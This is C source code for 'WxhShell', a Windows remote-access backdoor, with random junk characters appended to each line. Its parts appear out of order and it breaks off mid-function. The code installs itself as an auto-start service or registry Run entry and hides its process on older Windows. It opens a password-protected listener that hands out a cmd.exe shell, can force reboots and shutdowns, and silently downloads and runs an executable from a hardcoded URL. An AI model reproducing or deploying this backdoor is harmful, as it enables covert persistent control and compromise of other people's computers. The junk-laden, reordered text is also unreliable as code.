    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YuoIhT  
    if(Boot(SHUTDOWN)) In;+wFu;M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Y>oNX1KN  
    else { h)z2#qfc  
    closesocket(wsh); Cli:;yi&n  
    ExitThread(0); fC$@m_-KD  
    } #jPn7  
    break; cV4Y= &  
    } ^RYq !l$  
  // 获取shell qtFHA+bO  
  case 's': { 4"\%/kG  
    CmdShell(wsh); :kd]n$]  
    closesocket(wsh); 7'|aEH  
    ExitThread(0); ;f} ']2  
    break; 6S0Gjekr  
  } u hB V)Qg  
  // 退出 f5/s+H!  
  case 'x': { 9VSi2p*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "ZFH_5<  
    CloseIt(wsh); b|\dHi2F T  
    break; -oB=7+g  
    } 1had8K-  
  // 离开 //%#?JJV  
  case 'q': { (ki= s+W-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2W#^^4^+  
    closesocket(wsh); #G=AD/z  
    WSACleanup(); amWKykVS5  
    exit(1); "CZv5)  
    break; YWL7.Y>%5  
        } Rgl cd  
  } J5Ti@(G5V  
  } %OP|%^2  
M0`1o p1  
  // 提示信息 )UyJ.!Fly  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6E.[F\u  
} L$y~\1-  
  } G#A6<e/  
9mjJC  
  return; SwM=?<  
} V/zmbo)  
`7[!bCl  
// shell模块句柄 8~ &=vc  
int CmdShell(SOCKET sock) [a?bv7Kz  
{ W_,7hvE?"H  
STARTUPINFO si; 'pB?  
ZeroMemory(&si,sizeof(si)); DfVJ~,x~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "yj_v\@4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &>QxL d#  
PROCESS_INFORMATION ProcessInfo; zS h9`F  
char cmdline[]="cmd"; MH0wpHz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wSPmiJ/!  
  return 0; ze21Uj1x*  
} u6| IKZ  
/XU=l0u  
// 自身启动模式 r3KNRr@  
int StartFromService(void) ~$hR:I1  
{ {7;QZk(  
typedef struct T8x8TN"  
{ 1b2  
  DWORD ExitStatus; M9m~ck  
  DWORD PebBaseAddress; bbDm6,  
  DWORD AffinityMask; L4bYVTm|  
  DWORD BasePriority; S4-jFD)U  
  ULONG UniqueProcessId; w.#z>4#3-  
  ULONG InheritedFromUniqueProcessId; 5%}!z~8Y4  
}   PROCESS_BASIC_INFORMATION; (U_HX2f  
ck3+A/ !z  
PROCNTQSIP NtQueryInformationProcess; 8Op^6rX4  
1&<o3)L:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {<-wm-]mo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }[h]z7e2S  
O'{kNr{u  
  HANDLE             hProcess;  |=![J?  
  PROCESS_BASIC_INFORMATION pbi; ]qu6/Z  
$)BPtGMGo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gv}Q/v   
  if(NULL == hInst ) return 0; z%iPk'^  
u3E =r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p<}y'7(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7J ?s&x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c h((u(G  
;[[6[i  
  if (!NtQueryInformationProcess) return 0; o?j8"^!7  
%e3E}m>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ qwf3Q@  
  if(!hProcess) return 0; B3u/ y  
HavlN}h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  N&kUTSd  
`h'=F(v(}  
  CloseHandle(hProcess); 5?? }9  
:N"&o(^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !!)$?R;1  
if(hProcess==NULL) return 0; !.q 9:|oc  
M_.Jmh<&&  
HMODULE hMod; w/rJj*  
char procName[255]; &zJ*afi)  
unsigned long cbNeeded; (v|<" tv  
)*{B_[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %#eQN ~  
#62ThH~  
  CloseHandle(hProcess); Dj'?12Onu=  
e84%Y8,0  
if(strstr(procName,"services")) return 1; // 以服务启动 B8n[ E  
-C}"1|P!  
  return 0; // 注册表启动 XMT@<'fI  
} DI2e%`$  
"`cPV){]  
// 主模块 !G0Mg; ,  
int StartWxhshell(LPSTR lpCmdLine) B)1(  
{ gO "G/  
  SOCKET wsl; Z f<T`'_d  
BOOL val=TRUE; >A6W^J|[  
  int port=0; J5HK1  
  struct sockaddr_in door; *AGf'+j*z  
3oH/34jj  
  if(wscfg.ws_autoins) Install(); .Y?]r6CC/  
4;CI< &S  
port=atoi(lpCmdLine); OY:rcGc`t  
cSV&p|  
if(port<=0) port=wscfg.ws_port; 7Re\*[)T  
zNoFM/1Vb  
  WSADATA data; lqJ92vi6Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HF_8661g  
{z0iWY2Xw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .Wy'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eL(<p]  
  door.sin_family = AF_INET; q Tdwi?j_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $ B&Zn Z?  
  door.sin_port = htons(port); =#y;J(>~|  
.udLMS/_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2gZp O9  
closesocket(wsl); ./Ek+p*96H  
return 1; nQ+5jGP1  
} B>!mD{N  
5 m-/N ?c  
  if(listen(wsl,2) == INVALID_SOCKET) { 6Q]c}  
closesocket(wsl); a~_JTH4=t  
return 1; Xy=ETV%  
} >A-{/"p#  
  Wxhshell(wsl); w(S~}'Sg*P  
  WSACleanup(); _u$DcA8B  
:}Yk0*  
return 0; 7]T(=gg /  
l/zv >  
} =d^hiR!GN  
4}/gV)  
// 以NT服务方式启动 ly[d V.<P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z7`|N`$Z#s  
{ "49dsKIOH  
DWORD   status = 0; hB.8\-}QMq  
  DWORD   specificError = 0xfffffff; ny1O- `!1  
0LL0\ly]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \ Voly  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .9B@w+=6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .Hqq!&  
  serviceStatus.dwWin32ExitCode     = 0; Zf!Q4a"  
  serviceStatus.dwServiceSpecificExitCode = 0; = wDXlAQ  
  serviceStatus.dwCheckPoint       = 0; g*YA~J@  
  serviceStatus.dwWaitHint       = 0; Il&7n_ H  
PN]hG,q*4O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cRrJZ9  
  if (hServiceStatusHandle==0) return; ez[x8M>  
[j'!+)>_  
status = GetLastError(); e8xq`:4Y  
  if (status!=NO_ERROR) $G"\@YC<  
{ Eq;w5;7s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }l$zZ>.\H  
    serviceStatus.dwCheckPoint       = 0; ]3I a>i  
    serviceStatus.dwWaitHint       = 0; %?gG-R  
    serviceStatus.dwWin32ExitCode     = status; AJ*17w  
    serviceStatus.dwServiceSpecificExitCode = specificError; bs ~P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7JQ4*RM  
    return; ~<VxtcEBz  
  } FD 8Lk  
eQ/w Mr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #9]2Uixq[  
  serviceStatus.dwCheckPoint       = 0; 1%B9xLq  
  serviceStatus.dwWaitHint       = 0; W9w(a:~hY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hui #<2{  
} ;u'VR}4ph  
z[_Y,I  
// 处理NT服务事件,比如:启动、停止 -%fj-Y7y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }'x)e  
{ W1"NKg~4  
switch(fdwControl) |f$+|9Q?  
{ U3:|!CC)T  
case SERVICE_CONTROL_STOP: Kj @<$ChZw  
  serviceStatus.dwWin32ExitCode = 0; `Ze$Bd\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iEtR<R>=  
  serviceStatus.dwCheckPoint   = 0; v%*don  
  serviceStatus.dwWaitHint     = 0; 7MrHu2rZ=  
  { ">wvd*w0"(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @PNgqjd  
  } p )JR5z  
  return; unn2I|XH  
case SERVICE_CONTROL_PAUSE: T>nH=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iU 6,B  
  break; sd%)g<t  
case SERVICE_CONTROL_CONTINUE: 7"'PfP4c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V||b%Cb1g  
  break; Iga +8k  
case SERVICE_CONTROL_INTERROGATE: XTF[4#WO  
  break; 5"57F88Y1  
}; `(?c4oq,c>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ojl X<y.  
} ZXb{-b?[`  
bskoi;)u  
// 标准应用程序主函数 TX$dxHSPK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GBBr[}y-  
{ 7M~/ q.  
Psx"[2iZm  
// 获取操作系统版本 |33t5}we  
OsIsNt=GetOsVer(); [UzacXt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W3UxFs]$  
c$ib-  
  // 从命令行安装 ]}b  
  if(strpbrk(lpCmdLine,"iI")) Install(); Lwi"K8.u  
$<)]~* *K  
  // 下载执行文件 z~`X4Segw  
if(wscfg.ws_downexe) { 8=Oym~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &UnhYG{A  
  WinExec(wscfg.ws_filenam,SW_HIDE); T<Xw[PEnP  
} J'ce?_\?PY  
F!hjtIkPj  
if(!OsIsNt) { 00i MU  
// 如果时win9x,隐藏进程并且设置为注册表启动 4s:M}=]N  
HideProc(); 9b=0 4aWHm  
StartWxhshell(lpCmdLine); 9kWI2cLzQt  
} zT)cg$8%fY  
else !?ZR_=Y%  
  if(StartFromService()) :X}SuM ?c  
  // 以服务方式启动 8k:^( kByF  
  StartServiceCtrlDispatcher(DispatchTable); :atd_6   
else ba G_7>Q9H  
  // 普通方式启动 ,_YI:xie|c  
  StartWxhshell(lpCmdLine); dO2?&f  
B6&[_cht  
return 0; ^cPVnl  
} Heh&;c  
pm=O.)g4`  
4t =Kt  
6|q"lS*$S  
=========================================== &D[M<7T  
&uE )Vr4R  
53aJnxX  
ws`r\k]3J  
Ws3z-U>j  
V*s\~h)  
" 9*FA=E  
(Q||5  
#include <stdio.h> vjGJRk|XED  
#include <string.h> qh6b;ae\x  
#include <windows.h> ,{:qbt  
#include <winsock2.h> ,2Ed^!`  
#include <winsvc.h> k0I$x:c  
#include <urlmon.h> j}Svb1A  
'q;MhnU+  
#pragma comment (lib, "Ws2_32.lib") X4:84  
#pragma comment (lib, "urlmon.lib") 8wd["hga<%  
lGp:rw`  
#define MAX_USER   100 // 最大客户端连接数 ?+=,t]`!m  
#define BUF_SOCK   200 // sock buffer <!G /&T  
#define KEY_BUFF   255 // 输入 buffer zF FYl7]  
c%,ky$'18  
#define REBOOT     0   // 重启 Y{e,I-"{  
#define SHUTDOWN   1   // 关机 KQ9w>!N[  
bt1bTo  
#define DEF_PORT   5000 // 监听端口 rusM]Z  
T;Kv<G;  
#define REG_LEN     16   // 注册表键长度 @(=?x:j  
#define SVC_LEN     80   // NT服务名长度 V]Ccj\Oi  
W^[QEmyn  
// 从dll定义API VWdTnu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (L4C1h_]9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3nhQ^zqf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C<:wSS^@1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D6e?J.  
^=-25%&^  
// wxhshell配置信息 +7WpJ;C4  
struct WSCFG { [m< jM[w{  
  int ws_port;         // 监听端口 R=R]0  
  char ws_passstr[REG_LEN]; // 口令 EqD@o  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y=sv   
  char ws_regname[REG_LEN]; // 注册表键名 dQH8s  
  char ws_svcname[REG_LEN]; // 服务名 NA@Z$Gy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A`vRUl,c=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  wDiq~!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $M-"az]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h^IizrqU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dwvc;f-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Gl{2"!mt=  
er 1zSTkg  
}; *pS3xit~  
p|0SA=?k"  
// default Wxhshell configuration $i8oLSRV  
struct WSCFG wscfg={DEF_PORT, UDk H'x$=  
    "xuhuanlingzhe", ~Odclrs  
    1, s;Zi   
    "Wxhshell", ~QE?GL   
    "Wxhshell", P%w!4v ~"  
            "WxhShell Service", 7PfNPz<4+  
    "Wrsky Windows CmdShell Service", 6eB~S)Ko  
    "Please Input Your Password: ", t]3:vp5N]  
  1, c0jTQMe4yl  
  "http://www.wrsky.com/wxhshell.exe", }{J>kgr6  
  "Wxhshell.exe" bS|h~B]rd  
    }; vsA/iH.  
)!zg=}V  
// 消息定义模块 VD,g3B p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; vXdI)Sx[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;L],i<F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n*AN/LBp  
char *msg_ws_ext="\n\rExit."; NS x-~)  
char *msg_ws_end="\n\rQuit."; }ew )QHd  
char *msg_ws_boot="\n\rReboot..."; 0yUn~'+(Sp  
char *msg_ws_poff="\n\rShutdown..."; h}m9L!+n8  
char *msg_ws_down="\n\rSave to "; aJs! bx>K  
Kx;la  
char *msg_ws_err="\n\rErr!"; z^KBV ^n  
char *msg_ws_ok="\n\rOK!"; =.`e4}u \X  
JsX}PVuL  
char ExeFile[MAX_PATH]; UY\E uA9  
int nUser = 0; ^m.%FIwR  
HANDLE handles[MAX_USER]; *L<<S=g$2  
int OsIsNt; dZd]p8  
>#;>6q9_  
SERVICE_STATUS       serviceStatus; T%TO?[cN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w0.;86<MV  
]>+ teG:4  
// 函数声明 (3m^@2i  
int Install(void); 0)vX  
int Uninstall(void); i Hcy,PBD  
int DownloadFile(char *sURL, SOCKET wsh); \gir  
int Boot(int flag); eN  TKX  
void HideProc(void); @# p{,L  
int GetOsVer(void); [GW;RjPE  
int Wxhshell(SOCKET wsl); SmP&wNHQf  
void TalkWithClient(void *cs); %wq;<'W  
int CmdShell(SOCKET sock); nG| NRp  
int StartFromService(void); =^ x1: Ak  
int StartWxhshell(LPSTR lpCmdLine); 7*Gg#XQ>(  
EBUCG"e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s<LYSrd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :RXzqC  
<)oW  
// 数据结构和表定义 V9D>Xh!0H  
SERVICE_TABLE_ENTRY DispatchTable[] = QyEoWKu;  
{ {k<mN Y  
{wscfg.ws_svcname, NTServiceMain}, #ChF{mh  
{NULL, NULL} F^wm&:%{`  
}; io$fL_R=  
@w;&:J9m  
// 自我安装 `Y<FR  
int Install(void) t "[2^2G  
{ 7Y1FFw |  
  char svExeFile[MAX_PATH]; gCI{g. [I!  
  HKEY key; ekSSqj9";  
  strcpy(svExeFile,ExeFile); $_W kI^  
pJ@D}2u(  
// 如果是win9x系统,修改注册表设为自启动 (5=B^9{R  
if(!OsIsNt) { Zx%6pZ(.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U;Q?Rh- W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mA\}zLw+r9  
  RegCloseKey(key); J+Zp<Wu-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *)qxrBc0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3TnrPO1E  
  RegCloseKey(key); ys} I~MK-  
  return 0; vqJq=\ .m  
    } {bO O?pp  
  } S,qEKWyLd  
} B5/"2i  
else { qbD[<T  
I73=PfS:m  
// 如果是NT以上系统,安装为系统服务 o+FDkqEN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /9@ VnM  
if (schSCManager!=0) / #D R|  
{ Qis/'9a  
  SC_HANDLE schService = CreateService L<ET"&b;4  
  ( A0gRX]  
  schSCManager, Kr@6m80E5  
  wscfg.ws_svcname, 3 V0^v  
  wscfg.ws_svcdisp, V*F |Yo:  
  SERVICE_ALL_ACCESS, lw_PQ4Hp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |aS272'  
  SERVICE_AUTO_START, *w23(f  
  SERVICE_ERROR_NORMAL, 18G=j@k7  
  svExeFile, k[]2S8K2  
  NULL, <,Pk  
  NULL, |sPUb;&~  
  NULL, o%[swoM@  
  NULL, jF0>w  m  
  NULL 9qX)FB@'i;  
  ); #9p|aS\  
  if (schService!=0) VqnM>||  
  { S0!w]Ku  
  CloseServiceHandle(schService); o'|B|oZ  
  CloseServiceHandle(schSCManager); IQQ QB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sc$I,|d2  
  strcat(svExeFile,wscfg.ws_svcname); #= @?)\~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oR'u&\mB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ex@o&j\93  
  RegCloseKey(key); t-)d*|2n}o  
  return 0; M^jEp  
    } Y@2yV(m)o  
  } 2[g kDZ  
  CloseServiceHandle(schSCManager); r&Qq,koE  
} 5 N:IH@  
} w7b\?]}@  
w L4P-4'  
return 1; _[$,WuG1  
} ,#K{+1z:  
xt1\Sie  
// 自我卸载 J(w 3A)(  
int Uninstall(void) (ty&$  
{ dK>sHUu  
  HKEY key; -|4 Oq  
hd@jm^k  
if(!OsIsNt) { t:*1* ;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *1,4#8tB  
  RegDeleteValue(key,wscfg.ws_regname); QM@zy  
  RegCloseKey(key); 4OFv#$[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ik-E_U2  
  RegDeleteValue(key,wscfg.ws_regname); . Ky)Co  
  RegCloseKey(key); ) (0=w4  
  return 0; vL8Rg} Jh4  
  } 3? F~ H  
} 6o4Y]C2W{1  
} @;}vK=6L  
else { @W-0ybv  
i@mS8%|l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b*1yvkX5  
if (schSCManager!=0) slAR<8  
{ &cwN&XBY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q hdG(`PY~  
  if (schService!=0) {@hJPK8  
  { m"!Q5[  
  if(DeleteService(schService)!=0) { iP6?[pl8  
  CloseServiceHandle(schService); EVP{7}K1  
  CloseServiceHandle(schSCManager); 3Uej]}c  
  return 0; g{CU1c)B  
  } h s_x @6  
  CloseServiceHandle(schService); wsB  
  } Up0kTL  
  CloseServiceHandle(schSCManager); wHh6y?g\  
} }{)Rnb@ >  
} qiH)J- ~GZ  
'I$kDM mwh  
return 1; NS-0-o|4#  
} =\G`g #  
kPoz&e_@  
// 从指定url下载文件 M4(57b[`  
int DownloadFile(char *sURL, SOCKET wsh) @saK:z  
{ Mfnfp{.)  
  HRESULT hr; r dCs  
char seps[]= "/"; $9P=  
char *token; ) ]DqK<-  
char *file; cbl>:ev1h  
char myURL[MAX_PATH]; %7QSBL  
char myFILE[MAX_PATH]; X,bhX/h  
X ]W)D S  
strcpy(myURL,sURL); *,t/IA|  
  token=strtok(myURL,seps); `vz7 }TY  
  while(token!=NULL) Kj)sL0  
  { %a FZbLK  
    file=token; TO.STK`  
  token=strtok(NULL,seps); LcB+L](  
  } :{4C2qK>  
c91^7@Xv  
GetCurrentDirectory(MAX_PATH,myFILE); /:ZwGyT;  
strcat(myFILE, "\\"); vKWi?}1  
strcat(myFILE, file); \Zh&[D!2  
  send(wsh,myFILE,strlen(myFILE),0); (E7"GJ  
send(wsh,"...",3,0);  ? 8/r=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2vU-9p {  
  if(hr==S_OK) m(o`;  
return 0; HEAW](s  
else QO0@Ax\b  
return 1; #-PMREgO  
&iZt(XD  
} ZjY,k  
({@" {  
// 系统电源模块 Z=Cw7E  
int Boot(int flag) $gN\%X/n"1  
{ d3 i(UN]  
  HANDLE hToken; X)6G :cD  
  TOKEN_PRIVILEGES tkp; P3-O)m]jv  
}EYmz/nN  
  if(OsIsNt) { t- TUP>_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'wtb"0 }  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tzfyS#E  
    tkp.PrivilegeCount = 1; $MGKGWx@E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; * xmC`oP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wN10Drc   
if(flag==REBOOT) { :3XvHL0rx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H C,5j)1  
  return 0; !.^x^OK%y  
} Q)BSngW+  
else { QV.>Cy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ']fyD3N  
  return 0;  :\'1x  
} 4H;7GNu  
  } G_5{5Ar  
  else { 04&S.#+(  
if(flag==REBOOT) { H ?9Bo!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !/tV}.*  
  return 0; ("PZ!z1m1  
} H^5,];  
else { rqiH!R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V6](_w!  
  return 0; DJ7ak>"R  
} xzOvc<u  
} )m3emMO2  
9eq)WI/  
return 1; A^6z.MdYZ  
} v;G/8>GRy  
=WI3#<vDG  
// win9x进程隐藏模块 #o[n.  
void HideProc(void) tDah@_  
{ Z:,\FB_U  
o6|- :u5_/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;`c:Law4  
  if ( hKernel != NULL ) jg'"?KSU~  
  { fKFD>u 0%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I4w``""c  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |oSt%l Q1  
    FreeLibrary(hKernel); v(JjvN21  
  } +h/OQ]`/m  
3hBYx@jTO  
return; 5uSg]2:  
} GHLnwym  
uEr.LCAS  
// 获取操作系统版本 >7X5/z  
int GetOsVer(void) ? eI)m  
{ P8=J0&5  
  OSVERSIONINFO winfo; :.l\lj0Yf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2Hx*kh2  
  GetVersionEx(&winfo); _X<V` , p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K iXD1Zpz  
  return 1; 0QquxYYw,  
  else "30=!k  
  return 0; $^ir3f+  
} ak3WER|f#  
!IC .0I`  
// 客户端句柄模块 y,Bj,zw  
int Wxhshell(SOCKET wsl) @W(,|xES  
{ .3Smqwm=Y  
  SOCKET wsh; V_v+i c^  
  struct sockaddr_in client; HlkjyD8  
  DWORD myID; s/E9$*0  
R*W1<W%q=  
  while(nUser<MAX_USER) L:lnm9<  
{ hhylsm  
  int nSize=sizeof(client); 2y8FP#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  }l]r-  
  if(wsh==INVALID_SOCKET) return 1; {O!;cI~  
}c4F}Cy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w8>bct3@  
if(handles[nUser]==0) ?W?n l:F  
  closesocket(wsh); MfLus40;n  
else HQ4WunH2Y  
  nUser++; V)`Q0}  
  } GLV`IkU %  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )F'hn+(B|G  
X88I|Z'HIh  
  return 0; 55>+%@$,a  
} lu1T+@t  
+'` ^ N  
// 关闭 socket ^MT20pL  
void CloseIt(SOCKET wsh) &w%%^ +n |  
{ MD>E0p)  
closesocket(wsh); t `\l+L  
nUser--; MI8c>5?  
ExitThread(0); X)9|ZF2`  
} `wLmGv+V  
6ESS>I"su  
// 客户端请求句柄 Pc~)4>X<  
void TalkWithClient(void *cs) Qej<(:J5  
{ 0b,{4DOD  
xxdxRy9/  
  SOCKET wsh=(SOCKET)cs; Xd~lifF  
  char pwd[SVC_LEN]; _&@cU<bdee  
  char cmd[KEY_BUFF]; <("P5@cExU  
char chr[1]; 9 &Od7Cn  
int i,j; R ta_\Aj!  
= &U7:u  
  while (nUser < MAX_USER) { KiNluGNt  
h&{>4{  
if(wscfg.ws_passstr) { %o0.8qVJi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y=}a55:qE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N_.`5I;e  
  //ZeroMemory(pwd,KEY_BUFF); ]b&qC (  
      i=0; L w/ZKXDU2  
  while(i<SVC_LEN) { (]<G)+*  
ou&7v<)x4  
  // 设置超时 v{U1B  
  fd_set FdRead; Yg`z4 U'6~  
  struct timeval TimeOut; KH1/B_.\V  
  FD_ZERO(&FdRead); _P]k6z+  
  FD_SET(wsh,&FdRead); /lvH p  
  TimeOut.tv_sec=8; H*dQT y,  
  TimeOut.tv_usec=0; aw0xi,Jz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JvLa@E)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W;wu2'  
y `w5u.'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TWQ{, B  
  pwd=chr[0]; gCS%J40r  
  if(chr[0]==0xd || chr[0]==0xa) { u:4?$%rB  
  pwd=0; hLLg  
  break; /F @a@m|  
  } = P {]3K  
  i++; -U_<:  
    } T k>N4yq  
~ +z'pK~c  
  // 如果是非法用户,关闭 socket +xtR`Y"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  !.k  
} )u'("  
Eq/%k $6#1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %!1:BQ,p,i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ib8xvzR6I&  
|"a%S,I'  
while(1) { =2[cpF]  
hu qQ0  
  ZeroMemory(cmd,KEY_BUFF); qu/59D  
v0}.!u>Ww  
      // 自动支持客户端 telnet标准   QFf lx  
  j=0; 4E& 3{hnp  
  while(j<KEY_BUFF) { 8[;U|SR"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cB7=4:U  
  cmd[j]=chr[0]; eq\{*r"DCK  
  if(chr[0]==0xa || chr[0]==0xd) { Lw.N3!e[  
  cmd[j]=0; /z+}xRS  
  break; TNV#   
  } -3c?Yaf"  
  j++; T=2 91)@  
    } scUWI"  
+x0-hRD  
  // 下载文件 A`Bg"k:D  
  if(strstr(cmd,"http://")) { S<LHNZu|^A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %-:6#b z  
  if(DownloadFile(cmd,wsh)) KyAQzN9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3u8HF-  
  else @4b"0ne}h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DY{JA *N  
  } fF8g3|p:  
  else { *Ta*0Fr=9|  
BfF$  
    switch(cmd[0]) { W%.Kr-[?`o  
  W6~B~L  
